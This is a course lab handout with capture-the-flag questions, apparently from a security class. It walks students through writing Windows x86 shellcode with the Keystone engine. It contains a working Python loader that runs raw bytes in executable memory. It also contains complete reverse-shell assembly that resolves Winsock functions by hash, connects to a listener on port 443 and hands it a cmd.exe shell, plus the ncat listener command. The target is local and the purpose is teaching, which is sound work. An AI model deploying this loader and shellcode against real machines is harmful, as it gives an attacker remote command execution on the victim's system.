ED 340: Making Custom Shellcode (20 pts extra)

What You Need

Purpose

To practice writing shellcode in Assembler using the Keystone Engine.

Installing Python 3, 32-Bit Version

On your Windows machine, open a Web brower and go to

https://www.python.org/downloads/windows/

Download the "Windows installer (32-bit)", as shown below.

Double-click the downloaded file.

In the Install box, check the "Add Python to PATH" check box, as shown below.

Then complete the installation.

Open a Command Prompt window and execute these commands:

python3
exit()
Python 3 launches, as shown below.

Installing Keystone

We'll use Keystone to build shellcode.

In the Command Prompt window, execute these commands:

python3 -m pip install keystone-engine
Keystone installs, as shown below.

Making Simple Test Shellcode

First we'll make shellcode including just three assembly language instructions.

In the Command Prompt window, execute these commands:

mkdir c:\shell
cd c:\shell
notepad add.py
Click Yes to create a new file and paste in the code shown below.

Note the assembly code at the top: a breakpoint, an XOR, and an INC instruction.

#!/usr/bin/env python3
# Assembles code and runs it in a new thread.
 
# Install Keystone Engine: python -m pip install keystone-engine
import ctypes, struct
import keystone
 
ASM_CODE = (
    " start:                             "  #
    "   int3                            ;"  # Breakpoint for debugging.
    "   xor    eax, eax                 ;"  # eax = 0
    "   inc    eax                      ;"  # eax += 1
)
 
 
def assemble_code(assembly_lines: str):
    # Initialize engine in X86-32bit mode
    keystone_engine = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32)
 
    # Attempt to assemble the code.
    try:
        encoding, count = keystone_engine.asm(assembly_lines)
    except keystone.KsError as e:
        print("Assembly failed.")
        print(e)
        print(type(e))
        print("Faulty Line: " + str(e.get_asm_count()))
        return bytearray(b"")
 
    print("Successfully encoded {} instructions!".format(count))
 
    # Convert to bytes.
    code_bytes = b""
    for code in encoding:
        code_bytes += struct.pack("B", code)
 
    return bytearray(code_bytes)
 
 
def run_shellcode_in_thread(shellcode_bytes: bytearray):
    czero = ctypes.c_int(0) # Zero / NULL
    calloc_type = ctypes.c_int(0x3000) # Allocation type.
    cprotect_type = ctypes.c_int(0x40) # Memory protection type.
    ctype_shellcode = (ctypes.c_char * len(shellcode_bytes)).from_buffer(shellcode_bytes) # Shellcode buffer.
    cstack_size = ctypes.c_int(0x8000) # 32k stack size.
 
    # Allocate memory for shellcode.
    shellcode_ptr = ctypes.windll.kernel32.VirtualAlloc(czero, ctypes.c_int(len(shellcode_bytes)), calloc_type, cprotect_type)
 
    # Write to memory.
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(shellcode_ptr), ctype_shellcode, ctypes.c_int(len(shellcode_bytes)))
 
    # Allow the user to connect to a debugger at this point.
    print("Shellcode located at address %s" % hex(shellcode_ptr))
    print("Connect to debugger.")
    input("Press ENTER to continue...")
 
    # Create a new thread.
    new_thread = ctypes.windll.kernel32.CreateThread(czero, cstack_size, ctypes.c_int(shellcode_ptr), czero, czero, ctypes.pointer(czero))
 
    # Wait for the thread to finish.
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(new_thread), ctypes.c_int(-1))
 
 
if __name__ == '__main__':
    shellcode = assemble_code(ASM_CODE)
    run_shellcode_in_thread(shellcode)
 
The end of your Notepad file should look like the image below.

In Notepad, click File, Save to save the file.

In the Command Prompt window, execute this command:

python add.py
The program encodes the shellcode, and says "Connect to debugger", as shown below.

Launch the Immunity debugger. If you don't have it, get it from

https://www.immunityinc.com/products/debugger/

In Immunity, click File, Attach.

Select python, as shown below, and click the Attach button.

In Immunity, click Debug, Run.

Bring the Command Prompt window to the front and press ENTER.

In Immunity, the code runs to the INT3 command, as shown in the status bar at the bottom.

In the top left pane, scroll up one row.

The whole three-command shellcode is visible, as shown below.

In Immunity, click Debug, Run.

ED 340.1: Error Message (10 pts)

Find the words covered by a green box in the image below. That's the flag.

Preparing a Listener

We'll need a listener on local port 443 to receive the connection from the shellcode.

First, install Nmap from here:

https://nmap.org/download.html#windows

Download the "Latest stable release self-installer" and install it.

Then open an Administrator Command Prompt and execute this command:

ncat -nlvp 443
Ncat starts listening, as shown below.

Making Real Shellcode

Copy the add.py file to a new file named shell.py

Then replace the assembly code in it with this code:

    " start:                             "  #
    # "   int3                            ;"  # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
    "   mov   ebp, esp                  ;"  #
    "   add   esp, 0xfffff9f0           ;"  #   Avoid NULL bytes for sub esp, 0x200.

    " find_kernel32:                     "  #
    "   xor   ecx, ecx                  ;"  # ECX = 0
    "   mov   esi,fs:[ecx+30h]          ;"  # ESI = &(PEB) ([FS:0x30])
    "   mov   esi,[esi+0Ch]             ;"  # ESI = PEB->Ldr
    "   mov   esi,[esi+1Ch]             ;"  # ESI = PEB->Ldr.InInitOrder

    " next_module:                      "  #
    "   mov   ebx, [esi+8h]             ;"  # EBX = InInitOrder[X].base_address
    "   mov   edi, [esi+20h]            ;"  # EDI = InInitOrder[X].module_name
    "   mov   esi, [esi]                ;"  # ESI = InInitOrder[X].flink (next)
    "   cmp   [edi+12*2], cx            ;"  # (unicode) modulename[12] == 0x00?
    "   jne   next_module               ;"  # No: try next module.
    
    " find_function_shorten:             "  #
    "   jmp find_function_shorten_bnc   ;"  #   Short jump

    " find_function_ret:                 "  #
    "   pop esi                         ;"  #   POP the return address from the stack
    "   mov   [ebp+0x04], esi           ;"  #   Save find_function address for later usage
    "   jmp resolve_symbols_kernel32    ;"  #

    " find_function_shorten_bnc:         "  #   
    "   call find_function_ret          ;"  #   Relative CALL with negative offset

    " find_function:                     "  #
    "   pushad                          ;"  # Save all registers
    "   mov   eax, [ebx+0x3c]           ;"  # Offset to PE Signature
    "   mov   edi, [ebx+eax+0x78]       ;"  # Export Table Directory RVA
    "   add   edi, ebx                  ;"  # Export Table Directory VMA
    "   mov   ecx, [edi+0x18]           ;"  # NumberOfNames
    "   mov   eax, [edi+0x20]           ;"  # AddressOfNames RVA
    "   add   eax, ebx                  ;"  # AddressOfNames VMA
    "   mov   [ebp-4], eax              ;"  # Save AddressOfNames VMA for later

    " find_function_loop:                "  #
    "   jecxz find_function_finished    ;"  # Jump to the end if ECX is 0
    "   dec   ecx                       ;"  # Decrement our names counter
    "   mov   eax, [ebp-4]              ;"  # Restore AddressOfNames VMA
    "   mov   esi, [eax+ecx*4]          ;"  # Get the RVA of the symbol name
    "   add   esi, ebx                  ;"  # Set ESI to the VMA of the current symbol name
    
    " compute_hash:                      "  #
    "   xor   eax, eax                  ;"  #   NULL EAX
    "   cdq                             ;"  #   NULL EDX
    "   cld                             ;"  #   Clear direction

    " compute_hash_again:                "  #
    "   lodsb                           ;"  #   Load the next byte from esi into al
    "   test  al, al                    ;"  #   Check for NULL terminator
    "   jz    compute_hash_finished     ;"  #   If the ZF is set, we've hit the NULL term
    "   ror   edx, 0x0d                 ;"  #   Rotate edx 13 bits to the right
    "   add   edx, eax                  ;"  #   Add the new byte to the accumulator
    "   jmp   compute_hash_again        ;"  #   Next iteration

    " compute_hash_finished:             "  #

    " find_function_compare:             "  #
    "   cmp   edx, [esp+0x24]           ;"  #   Compare the computed hash with the requested hash
    "   jnz   find_function_loop        ;"  #   If it doesn't match go back to find_function_loop
    "   mov   edx, [edi+0x24]           ;"  #   AddressOfNameOrdinals RVA
    "   add   edx, ebx                  ;"  #   AddressOfNameOrdinals VMA
    "   mov   cx,  [edx+2*ecx]          ;"  #   Extrapolate the function's ordinal
    "   mov   edx, [edi+0x1c]           ;"  #   AddressOfFunctions RVA
    "   add   edx, ebx                  ;"  #   AddressOfFunctions VMA
    "   mov   eax, [edx+4*ecx]          ;"  #   Get the function RVA
    "   add   eax, ebx                  ;"  #   Get the function VMA
    "   mov   [esp+0x1c], eax           ;"  #   Overwrite stack version of eax from pushad

    " find_function_finished:            "  #
    "   popad                           ;"  # Restore registers
    "   ret                             ;"  #
    
    " resolve_symbols_kernel32:              "
    "   push  0x78b5b983                ;"  #   TerminateProcess hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x10], eax           ;"  #   Save TerminateProcess address for later usage
    "   push  0xec0e4e8e                ;"  #   LoadLibraryA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x14], eax           ;"  #   Save LoadLibraryA address for later usage
    "   push  0x16b3fe72                ;"  #   CreateProcessA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x18], eax           ;"  #   Save CreateProcessA address for later usage
    
    " load_ws2_32:                       "  #
    "   xor   eax, eax                  ;"  #   Null EAX
    "   mov   ax, 0x6c6c                ;"  #   Move the end of the string in AX
    "   push  eax                       ;"  #   Push EAX on the stack with string NULL terminator
    "   push  0x642e3233                ;"  #   Push part of the string on the stack
    "   push  0x5f327377                ;"  #   Push another part of the string on the stack
    "   push  esp                       ;"  #   Push ESP to have a pointer to the string
    "   call dword ptr [ebp+0x14]       ;"  #   Call LoadLibraryA
    
    " resolve_symbols_ws2_32:            "
    "   mov   ebx, eax                  ;"  #   Move the base address of ws2_32.dll to EBX
    "   push  0x3bfcedcb                ;"  #   WSAStartup hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x1C], eax           ;"  #   Save WSAStartup address for later usage
    "   push  0xadf509d9                ;"  #   WSASocketA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x20], eax           ;"  #   Save WSASocketA address for later usage
    "   push  0xb32dba0c                ;"  #   WSAConnect hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x24], eax           ;"  #   Save WSAConnect address for later usage
    
    " call_wsastartup:                   "  #
    "   mov   eax, esp                  ;"  #   Move ESP to EAX
    "   mov   cx, 0x590                 ;"  #   Move 0x590 to CX
    "   sub   eax, ecx                  ;"  #   Subtract CX from EAX to avoid overwriting the structure later
    "   push  eax                       ;"  #   Push lpWSAData
    "   xor   eax, eax                  ;"  #   Null EAX
    "   mov   ax, 0x0202                ;"  #   Move version to AX
    "   push  eax                       ;"  #   Push wVersionRequired
    "   call dword ptr [ebp+0x1C]       ;"  #   Call WSAStartup
    
    " call_wsasocketa:                   "  #
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push dwFlags
    "   push  eax                       ;"  #   Push g
    "   push  eax                       ;"  #   Push lpProtocolInfo
    "   mov   al, 0x06                  ;"  #   Move AL, IPPROTO_TCP
    "   push  eax                       ;"  #   Push protocol
    "   sub   al, 0x05                  ;"  #   Subtract 0x05 from AL, AL = 0x01
    "   push  eax                       ;"  #   Push type
    "   inc   eax                       ;"  #   Increase EAX, EAX = 0x02
    "   push  eax                       ;"  #   Push af
    "   call dword ptr [ebp+0x20]       ;"  #   Call WSASocketA
    
    " call_wsaconnect:                   "  #
    "   mov   esi, eax                  ;"  #   Move the SOCKET descriptor to ESI
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push sin_zero[]
    "   push  eax                       ;"  #   Push sin_zero[]
#    "   push  0xb931a8c0                ;"  #   Push sin_addr (192.168.49.185)
    "   push  0x0100007f                ;"  #   Push sin_addr (127.0.0.1)
    "   mov   ax, 0xbb01                ;"  #   Move the sin_port (443)
    "   shl   eax, 0x10                 ;"  #   Left shift EAX by 0x10 bytes
    "   add   ax, 0x02                  ;"  #   Add 0x02 (AF_INET) to AX
    "   push  eax                       ;"  #   Push sin_port & sin_family
    "   push  esp                       ;"  #   Push pointer to the sockaddr_in structure
    "   pop   edi                       ;"  #   Store pointer to sockaddr_in in EDI
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push lpGQOS
    "   push  eax                       ;"  #   Push lpSQOS
    "   push  eax                       ;"  #   Push lpCalleeData
    "   push  eax                       ;"  #   Push lpCalleeData
    "   add   al, 0x10                  ;"  #   Set AL to 0x10
    "   push  eax                       ;"  #   Push namelen
    "   push  edi                       ;"  #   Push *name
    "   push  esi                       ;"  #   Push s
    "   call dword ptr [ebp+0x24]       ;"  #   Call WSAConnect
    
    " create_startupinfoa:               "  # Push all values of a STARTUPINFOA structure onto the stack and store esp.
    "   push  esi                       ;"  #   Push hStdError ESI contains the socket descriptor.
    "   push  esi                       ;"  #   Push hStdOutput
    "   push  esi                       ;"  #   Push hStdInput
    "   xor   eax, eax                  ;"  #   Null EAX   
    "   push  eax                       ;"  #   Push lpReserved2
    "   push  eax                       ;"  #   Push cbReserved2 & wShowWindow
    "   mov   al, 0x80                  ;"  #   Move 0x80 to AL
    "   xor   ecx, ecx                  ;"  #   Null ECX
    "   mov   cx, 0x80                  ;"  #   Move 0x80 to CX
    "   add   eax, ecx                  ;"  #   Set EAX to 0x100
    "   push  eax                       ;"  #   Push dwFlags
    "   xor   eax, eax                  ;"  #   Null EAX   
    "   push  eax                       ;"  #   Push dwFillAttribute
    "   push  eax                       ;"  #   Push dwYCountChars
    "   push  eax                       ;"  #   Push dwXCountChars
    "   push  eax                       ;"  #   Push dwYSize
    "   push  eax                       ;"  #   Push dwXSize
    "   push  eax                       ;"  #   Push dwY
    "   push  eax                       ;"  #   Push dwX
    "   push  eax                       ;"  #   Push lpTitle
    "   push  eax                       ;"  #   Push lpDesktop
    "   push  eax                       ;"  #   Push lpReserved
    "   mov   al, 0x44                  ;"  #   Move 0x44 to AL
    "   push  eax                       ;"  #   Push cb
    "   push  esp                       ;"  #   Push pointer to the STARTUPINFOA structure
    "   pop   edi                       ;"  #   Store pointer to STARTUPINFOA in EDI
    
    " create_cmd_string:                 "  #
    "   mov   eax, 0xff9a879b           ;"  #   Move 0xff9a879b into EAX. Null byte pro-tip: put negative value in register and negate it to get zeroes.
    "   neg   eax                       ;"  #   Negate EAX, EAX = 00657865
    "   push  eax                       ;"  #   Push part of the "cmd.exe" string
    "   push  0x2e646d63                ;"  #   Push the remainder of the "cmd.exe" string
    "   push  esp                       ;"  #   Push pointer to the "cmd.exe" string
    "   pop   ebx                       ;"  #   Store pointer to the "cmd.exe" string in EBX
    
    " call_createprocessa:               "  #
    "   mov   eax, esp                  ;"  #   Move ESP to EAX
    "   xor   ecx, ecx                  ;"  #   Null ECX
    "   mov   cx, 0x390                 ;"  #   Move 0x390 to CX
    "   sub   eax, ecx                  ;"  #   Subtract CX from EAX to avoid overwriting the structure later
    "   push  eax                       ;"  #   Push lpProcessInformation
    "   push  edi                       ;"  #   Push lpStartupInfo
    "   xor   eax, eax                  ;"  #   Null EAX   
    "   push  eax                       ;"  #   Push lpCurrentDirectory
    "   push  eax                       ;"  #   Push lpEnvironment
    "   push  eax                       ;"  #   Push dwCreationFlags
    "   inc   eax                       ;"  #   Increase EAX, EAX = 0x01 (TRUE)
    "   push  eax                       ;"  #   Push bInheritHandles
    "   dec   eax                       ;"  #   Null EAX
    "   push  eax                       ;"  #   Push lpThreadAttributes
    "   push  eax                       ;"  #   Push lpProcessAttributes
    "   push  ebx                       ;"  #   Push lpCommandLine
    "   push  eax                       ;"  #   Push lpApplicationName
    "   call dword ptr [ebp+0x18]       ;"  #   Call CreateProcessA

    " loop_forever:                    "  #
    "   nop                             ;"  #   Do nothing
    "   jmp loop_forever                ;"  #   Loop
The start of your Notepad file should look like the image below.

In Notepad, click File, Save to save the file.

In the Command Prompt window, execute this command:

python shell.py
When it says "Press ENTER to comtinue...", press Enter, as shown below. Don't bother to connect to a debugger.

ED 340.2: Network Status (10 pts)

In the Administrator Command Prompt window, where Ncat is running, a new Window command shell opens.

Execute these commands:

netstat -an | findstr 443
whoami
The "whoami" command shows that you are not the Administrator because the reverse shell is running as a normal user.

The "netstat" commmand shows the flag, covered by a green box in the image below.

Posted 4-21-22